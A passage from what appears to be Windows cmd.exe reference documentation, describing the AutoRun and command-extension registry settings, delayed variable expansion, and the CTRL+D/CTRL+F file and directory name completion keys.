    If the previous conditions aren’t met, string is processed by examining the first character to verify whether it is an opening quotation mark. If the first character is an opening quotation mark, it is stripped along with the closing quotation mark. Any text following the closing quotation marks is preserved.

  • If you don’t specify /d in string, Cmd.exe looks for the following registry subkeys:

    • HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun\REG_SZ

    • HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun\REG_EXPAND_SZ

    If one or both registry subkeys are present, they’re executed before all other variables.

    [!CAUTION] Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you should back up any valued data on the computer.

  • You can disable command extensions for a particular process by using /e:off. You can enable or disable extensions for all cmd command-line options on a computer or user session by setting the following REG_DWORD values:

    • HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions\REG_DWORD

    • HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions\REG_DWORD

    Set the REG_DWORD value to either 0×1 (enabled) or 0×0 (disabled) in the registry by using Regedit.exe. User-specified settings take precedence over computer settings, and command-line options take precedence over registry settings.

    [!CAUTION] Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you should back up any valued data on the computer.

    When you enable command extensions, the following commands are affected:

    • assoc

    • call

    • chdir (cd)

    • color

    • del (erase)

    • endlocal

    • for

    • ftype

    • goto

    • if

    • mkdir (md)

    • popd

    • prompt

    • pushd

    • set

    • setlocal

    • shift

    • start (also includes changes to external command processes)

  • If you enable delayed environment variable expansion, you can use the exclamation point character to substitute the value of an environment variable at run time.

  • File and directory name completion is not enabled by default. You can enable or disable file name completion for a particular process of the cmd command with /f:{on off}. You can enable or disable file and directory name completion for all processes of the cmd command on a computer or for a user logon session by setting the following REG_DWORD values:

    • HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar\REG_DWORD

    • HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar\REG_DWORD

    • HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar\REG_DWORD

    • HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar\REG_DWORD

    To set the REG_DWORD value, run Regedit.exe and use the hexadecimal value of a control character for a particular function (for example, 0×9 is TAB and 0×08 is BACKSPACE). User-specified settings take precedence over computer settings, and command-line options take precedence over registry settings.

    [!CAUTION] Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you should back up any valued data on the computer.

  • If you enable file and directory name completion by using /f:on, use CTRL+D for directory name completion and CTRL+F for file name completion. To disable a particular completion character in the registry, use the value for white space [0×20] because it is not a valid control character.

    • Pressing CTRL+D or CTRL+F, processes the file and directory name completion. These key combination functions append a wildcard character to string (if one is not present), builds a list of paths that match, and then displays the first matching path.<p>If none of the paths match, the file and directory name completion function beeps and does not change the display. To move through the list of matching paths, press CTRL+D or CTRL+F repeatedly. To move through the list backwards, press the SHIFT key and CTRL+D or CTRL+F simultaneously. To discard the saved list of matching paths and generate a new list, edit string and press CTRL+D or CTRL+F. If you switch between CTRL+D and CTRL+F, the saved list of matching paths is discarded and a new list is generated. The only difference between the key combinations CTRL+D and CTRL+F is that CTRL+D only matches directory names and CTRL+F matches both file and directory names. If you use file and directory name completion on any of the built-in directory commands (that is, CD, MD, or RD), directory completion is assumed.

    • File and directory name completion correctly processes file names that contain white space or special characters if you place quotation marks around the matching path.

    • You must use quotation marks around the following special characters: & < > [ ] { } ^ = ; ! ‘ + , ` ~ [white space].

    • If the information that you supply contains spaces, you must use quotation marks around the text (for example, “Computer Name”).

    • If you process file and directory name completion from within string, any part of the path to the right of the cursor is discarded (at the point in string where the completion was processed).

Additional References

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